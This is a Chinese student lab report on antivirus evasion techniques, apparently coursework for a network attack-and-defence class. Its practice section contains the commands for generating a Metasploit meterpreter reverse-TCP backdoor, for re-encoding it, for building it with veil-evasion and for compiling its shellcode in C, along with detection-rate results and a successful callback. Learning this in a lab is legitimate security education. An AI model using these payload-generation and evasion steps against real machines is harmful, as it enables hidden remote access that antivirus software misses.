20155232《網絡對抗》Exp3 免殺原理與實踐
20155232《網絡對抗》Exp3 免殺原理與實踐
問題回答
- 1.基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?
基於特征碼的檢測
特征碼:一段特征碼就是一段或多段數據。
如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
啟發式惡意軟件檢測
根據些片面特征去推斷。
通用性,不精確。
基於行為的惡意軟件檢測
修改文件硬盤、連接惡意網站、修改註冊表
(2)免殺是做什麽?
通過一些手段來瞞過殺軟的檢測掃描。避免被殺毒軟件查殺。
(3)免殺的基本方法有哪些?
改變特征碼:如果有exe可以加殼,有shellcode可以用encode進行編碼,有源代碼可以用veil-evasion進行重寫再編譯。
改變行為
盡量使用反彈式連接、使用隧道技術
基於內存操作、減少對系統的修改、加入混淆作用的正常功能代碼
- 2.離實戰還缺些什麽技術或步驟?
實戰靶機不會乖乖被你植入一個後門程序,並沒有這麽理想的情況,也不可能出現讓你多次嘗試連接還沒有被察覺的情況,難度就會大大加強。而且現在各種殺毒軟件的病毒庫在不斷地更新,所以需要探索出新的方法在實戰中去應用。
實踐內容
1.使用msf生成後門程序的檢測
直接用上個實驗的20155232_backdoor.exe進行檢測,但是提示說不能有數字,所以修改名字後檢測:
- 掃描結果:46%的殺軟(18/39)報告發現病毒.
2.Msfvenom使用編碼器生成meterpreter可執行文件
可以嘗試多編碼幾次比如10次,理論上肯定比一次好些...但上課時老師說編碼器可能就本身會被發現。
就多編碼幾次試試,看看能不能好點,就試十次吧:在指令裏加上i 10
- 掃描結果:48%的殺軟(19/39)報告發現病毒,所以這個方法並不夠免殺。
3.veil-evasion生成可執行文件
在嘗試安裝和下載veil的安裝包進行安裝失敗
又使用命令sudo apt-get 也失敗後,使用了從老師那裏拷貝的虛擬機~
- 命令行直接輸入veil打開軟件
- 根據menu提示依次輸入下面的指令
==問題==
之前在輸入python的時候提示錯誤
use python/meterpreter/rev_tcp.py
==解決==
於是選擇換成c,重復上面的操作,發現ok了,可以生成可執行文件啦。
- 根據menu提示依次輸入下面的指令
# list
# use 7
- 接著是設置LHOST和LPORT
set LHOST 192.168.229.137
set LPORT 5232
generate
設置你想生成的文件名
成功~
- 按照路徑去復制此文件
==註意==
需要切換到圖中標出來的目錄才能找到此文件,在進行搜索:
- 掃描一下:
在拷貝到win10的過程中,沒有被攔截。
結果是比MSF進步了很多,只有8個引擎檢測出來了有後門。
實驗了一下360也沒能查殺出來:
突然覺得360有點菜啊。。。。=v=!
4.C語言調用Shellcode
- 下面指令會生成一個c語言格式的Shellcode數組。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c
- 使用命令將該C語言代碼轉換為一個可在64位windows系統下操作的可執行文件
VirSCAN.org檢測結果如下:
- 根據老師提供的鏈接下載安裝vs。並且選擇桌面開發c++。
- 進行編譯運行,生成了exe文件:
放在網站上掃描一下~
比之前少了很多~
還是不錯滴~
- 在Kali上使用msfconsole指令進入msf控制臺,使用監聽模塊,設置payload,設置反彈回連的IP和端口,進行回連:
回連成功:
360依舊沒有掃描出來~
5.加殼
- upx是一種壓縮程序,可以實現加殼的功能,這裏簡單介紹該指令加殼的命令格式:
upx 需要加殼的文件名 -o 加殼後的文件名
- 檢測一下
感覺沒有太大的變化。。。哈哈哈加殼後查殺率不但沒有減少反而相比上一個提高了,360也提醒我有木馬病毒,讓我趕緊清理。
說明這個方法實現不了免殺。。
6.通過組合應用各種技術實現惡意代碼免殺
加殼+veil-evasion
在將生成的文件進行掃描:
跟上一種情況比起來差不多~哈哈哈哈
不過360沒有掃描出來~
總結體會
在這次的實驗裏安裝veil出現了不少問題,最終也沒有解決,就用了老師的虛擬機。。。然後通過這次實驗可以了解到,實現免殺的技術有很多種,需要慢慢學習和探索,很多免殺的方法見都沒見過,有的也沒有看懂,對於軟件生成來說,很容易暴露特征,而自己手工編寫更能實現免殺。最重要的電腦主機的殺毒軟件需要進行更新,而且選擇一個好的軟件也很重要。
20155232《網絡對抗》Exp3 免殺原理與實踐